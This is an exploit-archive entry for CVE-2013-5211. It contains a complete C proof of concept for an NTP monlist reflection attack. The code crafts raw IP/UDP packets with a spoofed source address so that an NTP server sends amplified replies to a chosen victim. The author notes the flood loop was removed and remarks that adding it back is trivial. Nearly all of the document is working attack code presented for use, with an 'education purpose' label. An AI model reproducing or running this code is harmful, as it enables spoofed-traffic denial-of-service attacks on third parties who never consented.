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- Full title NTP ntpd monlist Query Reflection - Denial of Service
- Date add 2014-04-29
- Category dos / poc
- Platform linux
- Risk <font color="#FFFF00">Security Risk Medium</font>
- CVE CVE: 2013-5211
- ==============================================
- /*
- * Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
- * Date: 28/04/2014
- * Code Author: Danilo PC - <DaNotKnow@gmail.com>
- * CVE : CVE-2013-5211
- */
- /* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
- * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
- * if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
- */
- //------------------------------------------------------------------------------------------------//
- //------------------------------------------------------------------------------------------------//
- #include <stdio.h> //For on printf function
- #include <string.h> //For memset
- #include <sys/socket.h> //Structs and Functions used for sockets operations.
- #include <stdlib.h> //For exit function
- #include <netinet/ip.h> //Structs for IP header
- //Struct for UDP Packet
- struct udpheader{
- unsigned short int udp_sourcePortNumber;
- unsigned short int udp_destinationPortNumber;
- unsigned short int udp_length;
- unsigned short int udp_checksum;
- };
- // Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
- struct ntpreqheader {
- unsigned char rm_vn_mode; /* response, more, version, mode */
- unsigned char auth_seq; /* key, sequence number */
- unsigned char implementation; /* implementation number */
- unsigned char request; /* request number */
- unsigned short err_nitems; /* error code/number of data items */
- unsigned short mbz_itemsize; /* item size */
- char data[40]; /* data area [32 prev](176 byte max) */
- unsigned long tstamp; /* time stamp, for authentication */
- unsigned int keyid; /* encryption key */
- char mac[8]; /* (optional) 8 byte auth code */
- };
- // Calculates the checksum of the ip header.
- unsigned short csum(unsigned short *ptr,int nbytes)
- {
- register long sum;
- unsigned short oddbyte;
- register short answer;
- sum=0;
- while(nbytes>1) {
- sum+=*ptr++;
- nbytes-=2;
- }
- if(nbytes==1) {
- oddbyte=0;
- *((u_char*)&oddbyte)=*(u_char*)ptr;
- sum+=oddbyte;
- }
- sum = (sum>>16)+(sum & 0xffff);
- sum = sum + (sum>>16);
- answer=(short)~sum;
- return(answer);
- }
- //Da MAIN
- int main(int argc, char **argv)
- {
- int status; // Maintains the return values of the functions
- struct iphdr *ip; // Pointer to ip header struct
- struct udpheader *udp; // Pointer to udp header struct
- struct ntpreqheader *ntp; // Pointer to ntp request header struct
- int sockfd; // Maintains the socket file descriptor
- int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
- struct sockaddr_in dest; // Maintains the data of the destination address
- char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
- // Parameters check
- if( argc != 3){
- printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n");
- printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n");
- printf("Watch it on wireshark!\n");
- printf("Coded for education purpose only!\n");
- exit(1);
- }
- // Create a socket and tells the kernel that we want to use udp as layer 4 protocol
- sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
- if (sockfd == -1){
- printf("Error on initializing the socket\n");
- exit(1);
- }
- //Sets the option IP_HDRINCL
- status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
- if (status == -1){
- printf("Error on setting the option HDRINCL on socket\n");
- exit(1);
- }
- //"Zeroes" all the packet stack
- memset( packet, 0, sizeof(packet) );
- //Mounts the packet headers
- // [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
- ip = (struct iphdr *)packet;
- udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
- ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
- //Fill the IP Header
- ip->version = 4; //IPv4
- ip->ihl = 5; //Size of the Ip header, minimum 5
- ip->tos = 0; //Type of service, the default value is 0
- ip->tot_len = sizeof(packet); //Size of the datagram
- ip->id = htons(1234); //LengthIdentification Number
- ip->frag_off = 0; //Flags, zero represents reserved
- ip->ttl = 255; //Time to Live. Maximum of 255
- ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
- ip->check = 0; //Checksum.
- ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here)
- ip->daddr = inet_addr( argv[2] ); //Destination IP
- //Fills the UDP Header
- udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port
- udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port
- udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
- udp->udp_checksum = 0; //Checksum
- //Calculate the checksums
- ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
- //Sets the destination data
- dest.sin_family = AF_INET; // Address Family Ipv4
- dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
- dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote
- //Fills the NTP header
- //Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
- //To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
- // ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
- // To learn more, read this: http://searchcode.com/codesearch/view/451164#127
- ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
- ntp->implementation=0x03; //Sets the implementation to 3
- ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
- //All the other fields of the struct are zeroed
- // Sends the packets
- status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) );
- if(status <0){
- printf("Failed to send the packets\n");
- exit(1);
- }
- }
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